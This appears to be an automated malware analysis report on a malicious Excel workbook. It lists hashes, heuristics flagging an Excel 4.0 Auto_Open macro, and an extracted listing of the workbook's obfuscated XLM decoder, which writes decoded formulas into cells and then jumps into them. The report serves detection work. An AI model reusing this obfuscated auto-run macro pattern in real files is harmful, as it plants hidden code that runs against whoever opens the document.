Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e77d933a52c7aa28…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:36:02 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: 6b5b3bc936e3f8a720518e43d2821a8b SHA-1: 82269705b87647fa93cd9793841fa0df8a519ddd SHA-256: e77d933a52c7aa28cdc1785d06bbdf6fb11af8dfc0f315cde7b647e25aa0144a
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6394 bytes
SHA-256: c3612de5cbe46f1efcd5ab025071e8a14f3ee29c58efb5e684786d6403717264
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  TsPe
' 0018     26 LABEL : Cell Value, String Constant - APtRoZXcByH len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D173 
' 0018     21 LABEL : Cell Value, String Constant - bOejot len=0 
' 0018     22 LABEL : Cell Value, String Constant - IeuOqVw len=0 
' 0018     25 LABEL : Cell Value, String Constant - JQbABtBPsZ len=0 
' 0018     22 LABEL : Cell Value, String Constant - juJprNi len=0 
' 0018     22 LABEL : Cell Value, String Constant - kGGCMQx len=0 
' 0018     20 LABEL : Cell Value, String Constant - LFnje len=0 
' 0018     23 LABEL : Cell Value, String Constant - MbjxNkAR len=0 
' 0018     27 LABEL : Cell Value, String Constant - MyZklYyINojp len=0 
' 0018     25 LABEL : Cell Value, String Constant - nwItyOaqLV len=0 
' 0018     21 LABEL : Cell Value, String Constant - osVIiW len=0 
' 0018     23 LABEL : Cell Value, String Constant - PgGenfXz len=0 
' 0018     21 LABEL : Cell Value, String Constant - prXHCa len=0 
' 0018     24 LABEL : Cell Value, String Constant - psXsFDDtv len=0 
' 0018     25 LABEL : Cell Value, String Constant - uAwfhNpgzN len=0 
' 0018     22 LABEL : Cell Value, String Constant - vfGSjvV len=0 
' 0018     22 LABEL : Cell Value, String Constant - vXHkcCv len=0 
' 0018     25 LABEL : Cell Value, String Constant - wCKtyGuJIE len=0 
' 0018     22 LABEL : Cell Value, String Constant - xnLMrMs len=0 
' 0018     27 LABEL : Cell Value, String Constant - ZbNPvmzDcbml len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  TsPe,D78,"SET.NAME("prXHCa",VALUE("0"))",""
'  TsPe,D83,"SET.NAME("psXsFDDtv",prXHCa)",""
'  TsPe,D85,"SET.NAME("LFnje",prXHCa)",""
'  TsPe,D87,"SET.NAME("JQbABtBPsZ",COUNTA(wCKtyGuJIE))",""
'  TsPe,D92,"SET.NAME("MyZklYyINojp",COUNTA(xnLMrMs))",""
'  TsPe,D96,[],""
'  TsPe,D100,"SET.NAME("nwItyOaqLV","")",""
'  TsPe,D104,"psXsFDDtv",""
'  TsPe,D109,"SET.NAME("osVIiW",HLOOKUP("*",wCKtyGuJIE,psXsFDDtv,FALSE))",""
'  TsPe,D114,"vfGSjvV",""
'  TsPe,D116,"SET.NAME("MbjxNkAR",prXHCa)",""
'  TsPe,D119,[],""
'  TsPe,D124,"MbjxNkAR",""
'  TsPe,D127,"kGGCMQx",""
'  TsPe,D132,"bOejot",""
'  TsPe,D135,"vXHkcCv",""
'  TsPe,D140,"SET.NAME("juJprNi",VALUE(HLOOKUP("*",xnLMrMs,vXHkcCv,FALSE)))",""
'  TsPe,D145,"ZbNPvmzDcbml",""
'  TsPe,D148,"nwItyOaqLV",""
'  TsPe,D150,"LFnje",""
'  TsPe,D153,NEXT(),""
'  TsPe,D156,"uAwfhNpgzN",""
'  TsPe,D159,"SET.NAME("f",INT(T(FORMULA(T(nwItyOaqLV)&"",""&T(uAwfhNpgzN)))))",""
'  TsPe,D163,"APtRoZXcByH",""
'  TsPe,D168,NEXT(),""
'  TsPe,D171,RETURN(),""
'  TsPe,D199,"SET.NAME("PgGenfXz",D78)",""
'  TsPe,D203,"wCKtyGuJIE",""
'  TsPe,D206,"SET.NAME("xnLMrMs",R65C12)",""
'  TsPe,D209,"SET.NAME("APtRoZXcByH",217)",""
'  TsPe,D213,"SET.NAME("IeuOqVw",4)",""
'  TsPe,D216,PgGenfXz(),""
'  TsPe,D217,HALT(),""